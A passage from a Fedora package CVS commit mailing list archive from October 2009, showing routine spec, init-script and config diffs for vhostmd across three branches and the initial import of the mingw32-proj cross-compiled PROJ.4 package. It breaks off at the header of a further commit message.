* Tue Oct 13 2009 Nick Bebout <nb at fedoraproject.org> - 1.1.1-1
- Initial Fedora package based on 1.1.1 of sks


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sks/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:15:48 -0000	1.1
+++ .cvsignore	15 Oct 2009 17:52:47 -0000	1.2
@@ -0,0 +1 @@
+sks-1.1.1.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sks/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:15:48 -0000	1.1
+++ sources	15 Oct 2009 17:52:47 -0000	1.2
@@ -0,0 +1 @@
+120361b88cf6820c108c6746ac464488  sks-1.1.1.tgz



From rjones at fedoraproject.org  Thu Oct 15 17:53:54 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 15 Oct 2009 17:53:54 +0000 (UTC)
Subject: rpms/vhostmd/F-12 sources, 1.2, 1.3 vhostmd.conf, 1.1,
	1.2 vhostmd.init, 1.1, 1.2 vhostmd.spec, 1.1,
	1.2 vhostmd.sysconfig, 1.1,
	1.2 0001-Further-changes-to-avoid-using-xenstore.patch, 1.1, NONE
Message-ID: <20091015175354.5A1C211C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/vhostmd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29106

Modified Files:
	sources vhostmd.conf vhostmd.init vhostmd.spec 
	vhostmd.sysconfig 
Removed Files:
	0001-Further-changes-to-avoid-using-xenstore.patch 
Log Message:
* Thu Oct 15 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.2.gitea2f772d
- New upstream based on git ea2f772d.
- Update the configuration file based on upstream changes to how virsh
  has to be run.
- vhostmd should run non-root as user 'vhostmd'.
- Allow libvirt URI to be configured.




Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	13 Oct 2009 17:56:10 -0000	1.2
+++ sources	15 Oct 2009 17:53:54 -0000	1.3
@@ -1 +1 @@
-3e96ae064b7accaea68160d48379c92f  vhostmd-0.4.tar.bz2
+e241097003a7a8eb1898fcc152581596  vhostmd-0.4.tar.bz2


Index: vhostmd.conf
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/F-12/vhostmd.conf,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vhostmd.conf	13 Oct 2009 17:56:10 -0000	1.1
+++ vhostmd.conf	15 Oct 2009 17:53:54 -0000	1.2
@@ -43,19 +43,19 @@ within the vm element.
     </metric>
     <metric type="string" context="host">
       <name>VirtualizationProductInfo</name>
-      <action>virsh version | grep API | gawk -F': ' '{print $2}'</action>
+      <action>virsh -r CONNECT version | grep API | gawk -F': ' '{print $2}'</action>
     </metric>
     <metric type="uint32" context="host">
       <name>TotalPhyCPUs</name>
-      <action>virsh nodeinfo | grep 'CPU(s):' | gawk -F': +' '{print $2}'</action>
+      <action>virsh -r CONNECT nodeinfo | grep 'CPU(s):' | gawk -F': +' '{print $2}'</action>
     </metric>
     <metric type="uint32" context="host">
       <name>NumCPUs</name>
-      <action>virsh nodeinfo | grep 'CPU(s):' | gawk -F': +' '{print $2}'</action>
+      <action>virsh -r CONNECT nodeinfo | grep 'CPU(s):' | gawk -F': +' '{print $2}'</action>
     </metric>
     <metric type="uint64" context="host">
       <name>TotalPhyMem</name>
-      <action>virsh nodeinfo | grep 'Memory size:' | gawk -F' +' '{print $3}'</action>
+      <action>virsh -r CONNECT nodeinfo | grep 'Memory size:' | gawk -F' +' '{print $3}'</action>
     </metric>
     <metric type="uint64" context="host">
       <name>UsedMem</name>
@@ -81,12 +81,12 @@ within the vm element.
     </metric>
     <!--<metric type="real64" context="host">
 		<name>TotalCPUTime</name>
-		<action>virsh dominfo 0 | sed 's/: */:/' | \
+		<action>virsh -r CONNECT dominfo 0 | sed 's/: */:/' | \
                   gawk -F: '/CPU time/ {print $2;}'</action>
     </metric>-->
     <metric type="real64" context="vm">
       <name>TotalCPUTime</name>
-      <action>virsh dominfo NAME | sed 's/: */:/' | \
+      <action>virsh -r CONNECT dominfo NAME | sed 's/: */:/' | \
         gawk -F: '/CPU time/ {print $2;}'</action>
     </metric>
   </metrics>


Index: vhostmd.init
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/F-12/vhostmd.init,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vhostmd.init	13 Oct 2009 17:56:10 -0000	1.1
+++ vhostmd.init	15 Oct 2009 17:53:54 -0000	1.2
@@ -30,6 +30,12 @@ fi
 if [ -n "$VHOSTMD_CONFIG" ]; then
     ARGS="$ARGS --config $VHOSTMD_CONFIG"
 fi
+if [ -n "$VHOSTMD_USER" ]; then
+    ARGS="$ARGS --user $VHOSTMD_USER"
+fi
+if [ -n "$VHOSTMD_URI" ]; then
+    ARGS="$ARGS --connect $VHOSTMD_URI"
+fi
 
 lockfile=/var/lock/subsys/$prog
 


Index: vhostmd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/F-12/vhostmd.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vhostmd.spec	13 Oct 2009 17:56:10 -0000	1.1
+++ vhostmd.spec	15 Oct 2009 17:53:54 -0000	1.2
@@ -8,7 +8,7 @@
 Summary:       Virtualization host metrics daemon
 Name:          vhostmd
 Version:       0.4
-Release:       0.1.git326f0012172%{?dist}
+Release:       0.2.gitea2f772d%{?dist}
 License:       GPLv2+
 Group:         System Environment/Daemons
 BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root
@@ -16,24 +16,18 @@ BuildRoot:     %{_tmppath}/%{name}-%{ver
 URL:           http://gitorious.org/vhostmd
 
 # Upstream tarball hosting is screwed at the moment.  This release is
-# a pre-release of 0.4, based on git 326f00121729760c0236ef1b56b905f85470c740
-# with 'make dist' done by the packager.
+# a pre-release of 0.4, based on the git commit names in the Release
+# tag above, with 'make dist' done by the packager.
 Source0:       vhostmd-%{version}.tar.bz2
 Source1:       vhostmd.init
 Source2:       vhostmd.sysconfig
 Source3:       vhostmd.conf
 
-# Fix --without-xenstore option.  Patch posted upstream on 2009-10-13.
-Patch0:        0001-Further-changes-to-avoid-using-xenstore.patch
-
 BuildRequires: chrpath
 BuildRequires: pkgconfig
 BuildRequires: libxml2-devel
 BuildRequires: libvirt-devel
 
-# Used when we are patching autotools configuration.
-BuildRequires: automake, autoconf, libtool
-
 %if %{have_xen}
 BuildRequires: xen-devel
 %endif
@@ -42,6 +36,7 @@ Requires(post): chkconfig
 Requires(preun): chkconfig
 Requires(preun): initscripts
 Requires(postun): initscripts
+Requires(pre): shadow-utils
 
 
 %description 
@@ -74,9 +69,6 @@ Header and libraries necessary for metri
 %prep
 %setup -q
 
-%patch0 -p1
-./autogen.sh
-
 
 %build
 %configure \
@@ -144,6 +136,14 @@ fi
 %postun -n vm-dump-metrics -p /sbin/ldconfig
 
 
+%pre
+getent group vhostmd >/dev/null || groupadd -r vhostmd
+getent passwd vhostmd >/dev/null || \
+useradd -r -g vhostmd -d %{_datadir}/vhostmd -s /sbin/nologin \
+-c "Virtual Host Metrics Daemon" vhostmd
+exit 0
+
+
 %files
 %defattr(-,root,root,-)
 %doc AUTHORS ChangeLog COPYING README
@@ -183,6 +183,13 @@ fi
 
 
 %changelog
+* Thu Oct 15 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.2.gitea2f772d
+- New upstream based on git ea2f772d.
+- Update the configuration file based on upstream changes to how virsh
+  has to be run.
+- vhostmd should run non-root as user 'vhostmd'.
+- Allow libvirt URI to be configured.
+
 * Tue Oct 13 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.1.git326f0012172
 - Move to pre-release of 0.4, self-built tarball.
 - Disable xenstore on non-x86 platforms.


Index: vhostmd.sysconfig
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/F-12/vhostmd.sysconfig,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vhostmd.sysconfig	13 Oct 2009 17:56:10 -0000	1.1
+++ vhostmd.sysconfig	15 Oct 2009 17:53:54 -0000	1.2
@@ -3,3 +3,9 @@
 
 # Override the default configuration file path.
 #VHOSTMD_CONFIG=/path/to/vhostmd.conf
+
+# Set the user that the daemon runs as after dropping root privs.
+VHOSTMD_USER=vhostmd
+
+# Set the libvirt URI.
+VHOSTMD_URI=qemu:///system


--- 0001-Further-changes-to-avoid-using-xenstore.patch DELETED ---



From rjones at fedoraproject.org  Thu Oct 15 17:53:57 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 15 Oct 2009 17:53:57 +0000 (UTC)
Subject: rpms/vhostmd/F-11 sources, 1.2, 1.3 vhostmd.conf, 1.1,
	1.2 vhostmd.init, 1.1, 1.2 vhostmd.spec, 1.1,
	1.2 vhostmd.sysconfig, 1.1,
	1.2 0001-Further-changes-to-avoid-using-xenstore.patch, 1.1, NONE
Message-ID: <20091015175357.6394511C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/vhostmd/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29133

Modified Files:
	sources vhostmd.conf vhostmd.init vhostmd.spec 
	vhostmd.sysconfig 
Removed Files:
	0001-Further-changes-to-avoid-using-xenstore.patch 
Log Message:
* Thu Oct 15 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.2.gitea2f772d
- New upstream based on git ea2f772d.
- Update the configuration file based on upstream changes to how virsh
  has to be run.
- vhostmd should run non-root as user 'vhostmd'.
- Allow libvirt URI to be configured.




Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	13 Oct 2009 17:57:10 -0000	1.2
+++ sources	15 Oct 2009 17:53:56 -0000	1.3
@@ -1 +1 @@
-3e96ae064b7accaea68160d48379c92f  vhostmd-0.4.tar.bz2
+e241097003a7a8eb1898fcc152581596  vhostmd-0.4.tar.bz2


Index: vhostmd.conf
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/F-11/vhostmd.conf,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vhostmd.conf	13 Oct 2009 17:57:10 -0000	1.1
+++ vhostmd.conf	15 Oct 2009 17:53:57 -0000	1.2
@@ -43,19 +43,19 @@ within the vm element.
     </metric>
     <metric type="string" context="host">
       <name>VirtualizationProductInfo</name>
-      <action>virsh version | grep API | gawk -F': ' '{print $2}'</action>
+      <action>virsh -r CONNECT version | grep API | gawk -F': ' '{print $2}'</action>
     </metric>
     <metric type="uint32" context="host">
       <name>TotalPhyCPUs</name>
-      <action>virsh nodeinfo | grep 'CPU(s):' | gawk -F': +' '{print $2}'</action>
+      <action>virsh -r CONNECT nodeinfo | grep 'CPU(s):' | gawk -F': +' '{print $2}'</action>
     </metric>
     <metric type="uint32" context="host">
       <name>NumCPUs</name>
-      <action>virsh nodeinfo | grep 'CPU(s):' | gawk -F': +' '{print $2}'</action>
+      <action>virsh -r CONNECT nodeinfo | grep 'CPU(s):' | gawk -F': +' '{print $2}'</action>
     </metric>
     <metric type="uint64" context="host">
       <name>TotalPhyMem</name>
-      <action>virsh nodeinfo | grep 'Memory size:' | gawk -F' +' '{print $3}'</action>
+      <action>virsh -r CONNECT nodeinfo | grep 'Memory size:' | gawk -F' +' '{print $3}'</action>
     </metric>
     <metric type="uint64" context="host">
       <name>UsedMem</name>
@@ -81,12 +81,12 @@ within the vm element.
     </metric>
     <!--<metric type="real64" context="host">
 		<name>TotalCPUTime</name>
-		<action>virsh dominfo 0 | sed 's/: */:/' | \
+		<action>virsh -r CONNECT dominfo 0 | sed 's/: */:/' | \
                   gawk -F: '/CPU time/ {print $2;}'</action>
     </metric>-->
     <metric type="real64" context="vm">
       <name>TotalCPUTime</name>
-      <action>virsh dominfo NAME | sed 's/: */:/' | \
+      <action>virsh -r CONNECT dominfo NAME | sed 's/: */:/' | \
         gawk -F: '/CPU time/ {print $2;}'</action>
     </metric>
   </metrics>


Index: vhostmd.init
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/F-11/vhostmd.init,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vhostmd.init	13 Oct 2009 17:57:10 -0000	1.1
+++ vhostmd.init	15 Oct 2009 17:53:57 -0000	1.2
@@ -30,6 +30,12 @@ fi
 if [ -n "$VHOSTMD_CONFIG" ]; then
     ARGS="$ARGS --config $VHOSTMD_CONFIG"
 fi
+if [ -n "$VHOSTMD_USER" ]; then
+    ARGS="$ARGS --user $VHOSTMD_USER"
+fi
+if [ -n "$VHOSTMD_URI" ]; then
+    ARGS="$ARGS --connect $VHOSTMD_URI"
+fi
 
 lockfile=/var/lock/subsys/$prog
 


Index: vhostmd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/F-11/vhostmd.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vhostmd.spec	13 Oct 2009 17:57:10 -0000	1.1
+++ vhostmd.spec	15 Oct 2009 17:53:57 -0000	1.2
@@ -8,7 +8,7 @@
 Summary:       Virtualization host metrics daemon
 Name:          vhostmd
 Version:       0.4
-Release:       0.1.git326f0012172%{?dist}
+Release:       0.2.gitea2f772d%{?dist}
 License:       GPLv2+
 Group:         System Environment/Daemons
 BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root
@@ -16,24 +16,18 @@ BuildRoot:     %{_tmppath}/%{name}-%{ver
 URL:           http://gitorious.org/vhostmd
 
 # Upstream tarball hosting is screwed at the moment.  This release is
-# a pre-release of 0.4, based on git 326f00121729760c0236ef1b56b905f85470c740
-# with 'make dist' done by the packager.
+# a pre-release of 0.4, based on the git commit names in the Release
+# tag above, with 'make dist' done by the packager.
 Source0:       vhostmd-%{version}.tar.bz2
 Source1:       vhostmd.init
 Source2:       vhostmd.sysconfig
 Source3:       vhostmd.conf
 
-# Fix --without-xenstore option.  Patch posted upstream on 2009-10-13.
-Patch0:        0001-Further-changes-to-avoid-using-xenstore.patch
-
 BuildRequires: chrpath
 BuildRequires: pkgconfig
 BuildRequires: libxml2-devel
 BuildRequires: libvirt-devel
 
-# Used when we are patching autotools configuration.
-BuildRequires: automake, autoconf, libtool
-
 %if %{have_xen}
 BuildRequires: xen-devel
 %endif
@@ -42,6 +36,7 @@ Requires(post): chkconfig
 Requires(preun): chkconfig
 Requires(preun): initscripts
 Requires(postun): initscripts
+Requires(pre): shadow-utils
 
 
 %description 
@@ -74,9 +69,6 @@ Header and libraries necessary for metri
 %prep
 %setup -q
 
-%patch0 -p1
-./autogen.sh
-
 
 %build
 %configure \
@@ -144,6 +136,14 @@ fi
 %postun -n vm-dump-metrics -p /sbin/ldconfig
 
 
+%pre
+getent group vhostmd >/dev/null || groupadd -r vhostmd
+getent passwd vhostmd >/dev/null || \
+useradd -r -g vhostmd -d %{_datadir}/vhostmd -s /sbin/nologin \
+-c "Virtual Host Metrics Daemon" vhostmd
+exit 0
+
+
 %files
 %defattr(-,root,root,-)
 %doc AUTHORS ChangeLog COPYING README
@@ -183,6 +183,13 @@ fi
 
 
 %changelog
+* Thu Oct 15 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.2.gitea2f772d
+- New upstream based on git ea2f772d.
+- Update the configuration file based on upstream changes to how virsh
+  has to be run.
+- vhostmd should run non-root as user 'vhostmd'.
+- Allow libvirt URI to be configured.
+
 * Tue Oct 13 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.1.git326f0012172
 - Move to pre-release of 0.4, self-built tarball.
 - Disable xenstore on non-x86 platforms.


Index: vhostmd.sysconfig
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/F-11/vhostmd.sysconfig,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vhostmd.sysconfig	13 Oct 2009 17:57:10 -0000	1.1
+++ vhostmd.sysconfig	15 Oct 2009 17:53:57 -0000	1.2
@@ -3,3 +3,9 @@
 
 # Override the default configuration file path.
 #VHOSTMD_CONFIG=/path/to/vhostmd.conf
+
+# Set the user that the daemon runs as after dropping root privs.
+VHOSTMD_USER=vhostmd
+
+# Set the libvirt URI.
+VHOSTMD_URI=qemu:///system


--- 0001-Further-changes-to-avoid-using-xenstore.patch DELETED ---



From rjones at fedoraproject.org  Thu Oct 15 17:54:03 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 15 Oct 2009 17:54:03 +0000 (UTC)
Subject: rpms/vhostmd/EL-5 sources, 1.2, 1.3 vhostmd.conf, 1.1,
	1.2 vhostmd.init, 1.1, 1.2 vhostmd.spec, 1.1,
	1.2 vhostmd.sysconfig, 1.1,
	1.2 0001-Further-changes-to-avoid-using-xenstore.patch, 1.1, NONE
Message-ID: <20091015175403.398FF11C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/vhostmd/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29156

Modified Files:
	sources vhostmd.conf vhostmd.init vhostmd.spec 
	vhostmd.sysconfig 
Removed Files:
	0001-Further-changes-to-avoid-using-xenstore.patch 
Log Message:
* Thu Oct 15 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.2.gitea2f772d
- New upstream based on git ea2f772d.
- Update the configuration file based on upstream changes to how virsh
  has to be run.
- vhostmd should run non-root as user 'vhostmd'.
- Allow libvirt URI to be configured.




Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/EL-5/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	13 Oct 2009 17:57:06 -0000	1.2
+++ sources	15 Oct 2009 17:54:02 -0000	1.3
@@ -1 +1 @@
-3e96ae064b7accaea68160d48379c92f  vhostmd-0.4.tar.bz2
+e241097003a7a8eb1898fcc152581596  vhostmd-0.4.tar.bz2


Index: vhostmd.conf
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/EL-5/vhostmd.conf,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vhostmd.conf	13 Oct 2009 17:57:06 -0000	1.1
+++ vhostmd.conf	15 Oct 2009 17:54:02 -0000	1.2
@@ -43,19 +43,19 @@ within the vm element.
     </metric>
     <metric type="string" context="host">
       <name>VirtualizationProductInfo</name>
-      <action>virsh version | grep API | gawk -F': ' '{print $2}'</action>
+      <action>virsh -r CONNECT version | grep API | gawk -F': ' '{print $2}'</action>
     </metric>
     <metric type="uint32" context="host">
       <name>TotalPhyCPUs</name>
-      <action>virsh nodeinfo | grep 'CPU(s):' | gawk -F': +' '{print $2}'</action>
+      <action>virsh -r CONNECT nodeinfo | grep 'CPU(s):' | gawk -F': +' '{print $2}'</action>
     </metric>
     <metric type="uint32" context="host">
       <name>NumCPUs</name>
-      <action>virsh nodeinfo | grep 'CPU(s):' | gawk -F': +' '{print $2}'</action>
+      <action>virsh -r CONNECT nodeinfo | grep 'CPU(s):' | gawk -F': +' '{print $2}'</action>
     </metric>
     <metric type="uint64" context="host">
       <name>TotalPhyMem</name>
-      <action>virsh nodeinfo | grep 'Memory size:' | gawk -F' +' '{print $3}'</action>
+      <action>virsh -r CONNECT nodeinfo | grep 'Memory size:' | gawk -F' +' '{print $3}'</action>
     </metric>
     <metric type="uint64" context="host">
       <name>UsedMem</name>
@@ -81,12 +81,12 @@ within the vm element.
     </metric>
     <!--<metric type="real64" context="host">
 		<name>TotalCPUTime</name>
-		<action>virsh dominfo 0 | sed 's/: */:/' | \
+		<action>virsh -r CONNECT dominfo 0 | sed 's/: */:/' | \
                   gawk -F: '/CPU time/ {print $2;}'</action>
     </metric>-->
     <metric type="real64" context="vm">
       <name>TotalCPUTime</name>
-      <action>virsh dominfo NAME | sed 's/: */:/' | \
+      <action>virsh -r CONNECT dominfo NAME | sed 's/: */:/' | \
         gawk -F: '/CPU time/ {print $2;}'</action>
     </metric>
   </metrics>


Index: vhostmd.init
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/EL-5/vhostmd.init,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vhostmd.init	13 Oct 2009 17:57:06 -0000	1.1
+++ vhostmd.init	15 Oct 2009 17:54:02 -0000	1.2
@@ -30,6 +30,12 @@ fi
 if [ -n "$VHOSTMD_CONFIG" ]; then
     ARGS="$ARGS --config $VHOSTMD_CONFIG"
 fi
+if [ -n "$VHOSTMD_USER" ]; then
+    ARGS="$ARGS --user $VHOSTMD_USER"
+fi
+if [ -n "$VHOSTMD_URI" ]; then
+    ARGS="$ARGS --connect $VHOSTMD_URI"
+fi
 
 lockfile=/var/lock/subsys/$prog
 


Index: vhostmd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/EL-5/vhostmd.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vhostmd.spec	13 Oct 2009 17:57:06 -0000	1.1
+++ vhostmd.spec	15 Oct 2009 17:54:03 -0000	1.2
@@ -8,7 +8,7 @@
 Summary:       Virtualization host metrics daemon
 Name:          vhostmd
 Version:       0.4
-Release:       0.1.git326f0012172%{?dist}
+Release:       0.2.gitea2f772d%{?dist}
 License:       GPLv2+
 Group:         System Environment/Daemons
 BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root
@@ -16,24 +16,18 @@ BuildRoot:     %{_tmppath}/%{name}-%{ver
 URL:           http://gitorious.org/vhostmd
 
 # Upstream tarball hosting is screwed at the moment.  This release is
-# a pre-release of 0.4, based on git 326f00121729760c0236ef1b56b905f85470c740
-# with 'make dist' done by the packager.
+# a pre-release of 0.4, based on the git commit names in the Release
+# tag above, with 'make dist' done by the packager.
 Source0:       vhostmd-%{version}.tar.bz2
 Source1:       vhostmd.init
 Source2:       vhostmd.sysconfig
 Source3:       vhostmd.conf
 
-# Fix --without-xenstore option.  Patch posted upstream on 2009-10-13.
-Patch0:        0001-Further-changes-to-avoid-using-xenstore.patch
-
 BuildRequires: chrpath
 BuildRequires: pkgconfig
 BuildRequires: libxml2-devel
 BuildRequires: libvirt-devel
 
-# Used when we are patching autotools configuration.
-BuildRequires: automake, autoconf, libtool
-
 %if %{have_xen}
 BuildRequires: xen-devel
 %endif
@@ -42,6 +36,7 @@ Requires(post): chkconfig
 Requires(preun): chkconfig
 Requires(preun): initscripts
 Requires(postun): initscripts
+Requires(pre): shadow-utils
 
 
 %description 
@@ -74,9 +69,6 @@ Header and libraries necessary for metri
 %prep
 %setup -q
 
-%patch0 -p1
-./autogen.sh
-
 
 %build
 %configure \
@@ -144,6 +136,14 @@ fi
 %postun -n vm-dump-metrics -p /sbin/ldconfig
 
 
+%pre
+getent group vhostmd >/dev/null || groupadd -r vhostmd
+getent passwd vhostmd >/dev/null || \
+useradd -r -g vhostmd -d %{_datadir}/vhostmd -s /sbin/nologin \
+-c "Virtual Host Metrics Daemon" vhostmd
+exit 0
+
+
 %files
 %defattr(-,root,root,-)
 %doc AUTHORS ChangeLog COPYING README
@@ -183,6 +183,13 @@ fi
 
 
 %changelog
+* Thu Oct 15 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.2.gitea2f772d
+- New upstream based on git ea2f772d.
+- Update the configuration file based on upstream changes to how virsh
+  has to be run.
+- vhostmd should run non-root as user 'vhostmd'.
+- Allow libvirt URI to be configured.
+
 * Tue Oct 13 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.1.git326f0012172
 - Move to pre-release of 0.4, self-built tarball.
 - Disable xenstore on non-x86 platforms.


Index: vhostmd.sysconfig
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/EL-5/vhostmd.sysconfig,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vhostmd.sysconfig	13 Oct 2009 17:57:06 -0000	1.1
+++ vhostmd.sysconfig	15 Oct 2009 17:54:03 -0000	1.2
@@ -3,3 +3,9 @@
 
 # Override the default configuration file path.
 #VHOSTMD_CONFIG=/path/to/vhostmd.conf
+
+# Set the user that the daemon runs as after dropping root privs.
+VHOSTMD_USER=vhostmd
+
+# Set the libvirt URI.
+VHOSTMD_URI=qemu:///system


--- 0001-Further-changes-to-avoid-using-xenstore.patch DELETED ---



From adsllc at fedoraproject.org  Thu Oct 15 17:54:10 2009
From: adsllc at fedoraproject.org (Dave Ludlow)
Date: Thu, 15 Oct 2009 17:54:10 +0000 (UTC)
Subject: rpms/mingw32-proj/devel import.log, NONE, 1.1 mingw32-proj.spec,
	NONE, 1.1 proj-noundefined.patch, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091015175410.46BF411C00DB@cvs1.fedora.phx.redhat.com>

Author: adsllc

Update of /cvs/pkgs/rpms/mingw32-proj/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27972/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log mingw32-proj.spec proj-noundefined.patch 
Log Message:
Add mingw32-proj-4.6.1-4 to rawhide



--- NEW FILE import.log ---
mingw32-proj-4_6_1-4_fc11:HEAD:mingw32-proj-4.6.1-4.fc11.src.rpm:1255628959


--- NEW FILE mingw32-proj.spec ---
%global __strip %{_mingw32_strip}
%global __objdump %{_mingw32_objdump}
%global _use_internal_dependency_generator 0
%global __find_requires %{_mingw32_findrequires}
%global __find_provides %{_mingw32_findprovides}

%global nativename proj

Name:      mingw32-%{nativename}
Version:   4.6.1
Release:   4%{?dist}
Summary:   Cartographic projection software (PROJ.4)

Group:     Applications/Engineering
License:   MIT
URL:       http://proj.osgeo.org
Source0:   http://download.osgeo.org/proj/proj-%{version}.tar.gz
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch: noarch

BuildRequires: libtool
BuildRequires:  mingw32-filesystem >= 35
BuildRequires:  mingw32-gcc
BuildRequires:  mingw32-binutils

Patch:    proj-noundefined.patch

%description
Proj and invproj perform respective forward and inverse transformation of
cartographic data to or from cartesian data with a wide range of selectable
projection functions. Proj docs: http://www.remotesensing.org/dl/new_docs/

%prep
%setup -q -n %{nativename}-%{version}

%patch -p 1

%build
%{_mingw32_configure} --disable-static
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make DESTDIR=$RPM_BUILD_ROOT install

# Remove libtool archives
rm $RPM_BUILD_ROOT%{_mingw32_libdir}/libproj.la

# Remove inverse program symbolic links
rm $RPM_BUILD_ROOT%{_mingw32_bindir}/inv*.exe

# Remove unneeded files
rm -R $RPM_BUILD_ROOT%{_mingw32_datadir}/*

%check

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc NEWS AUTHORS COPYING README ChangeLog
%{_mingw32_bindir}/libproj-0.dll
%{_mingw32_bindir}/*.exe
%{_mingw32_libdir}/libproj.dll.a 
%{_mingw32_includedir}/*.h

%changelog
* Thu Oct 15 2009 David Ludlow <dave at adsllc.com> - 4.6.1-4
- Don't remove build executables

* Thu Oct 15 2009 David Ludlow <dave at adsllc.com> - 4.6.1-3
- Updates for Fedora packaging

* Wed Sep 9 2009 David Ludlow <dave at adsllc.com> - 4.6.1-2
- Initial creation of mingw32 package

proj-noundefined.patch:
 new/src/Makefine.in |    2 +-
 src/Makefile.am     |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE proj-noundefined.patch ---
--- orig/src/Makefile.am	2008-08-05 12:33:48.000000000 -0400
+++ new/src/Makefile.am		2009-09-09 13:28:00.000000000 -0400
@@ -20,7 +20,7 @@
 
 lib_LTLIBRARIES = libproj.la
 
-libproj_la_LDFLAGS = -version-info 5:5:5
+libproj_la_LDFLAGS = -version-info 5:5:5 -no-undefined
 
 libproj_la_SOURCES = \
 	projects.h pj_list.h \
--- orig/src/Makefile.in	2008-08-21 22:58:46.000000000 -0400
+++ new/src/Makefine.in		2009-09-09 13:49:41.000000000 -0400
@@ -253,7 +253,7 @@
 nad2bin_LDADD = libproj.la
 geod_LDADD = libproj.la
 lib_LTLIBRARIES = libproj.la
-libproj_la_LDFLAGS = -version-info 5:5:5
+libproj_la_LDFLAGS = -version-info 5:5:5 -no-undefined
 libproj_la_SOURCES = \
 	projects.h pj_list.h \
 	PJ_aeqd.c PJ_gnom.c PJ_laea.c PJ_mod_ster.c \



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-proj/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:32:34 -0000	1.1
+++ .cvsignore	15 Oct 2009 17:54:10 -0000	1.2
@@ -0,0 +1 @@
+proj-4.6.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-proj/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:32:34 -0000	1.1
+++ sources	15 Oct 2009 17:54:10 -0000	1.2
@@ -0,0 +1 @@
+7dbaab8431ad50c25669fd3fb28dc493  proj-4.6.1.tar.gz



From adsllc at fedoraproject.org  Thu Oct 15 17:57:29 2009
From: adsllc at fedoraproject.org (Dave Ludlow)
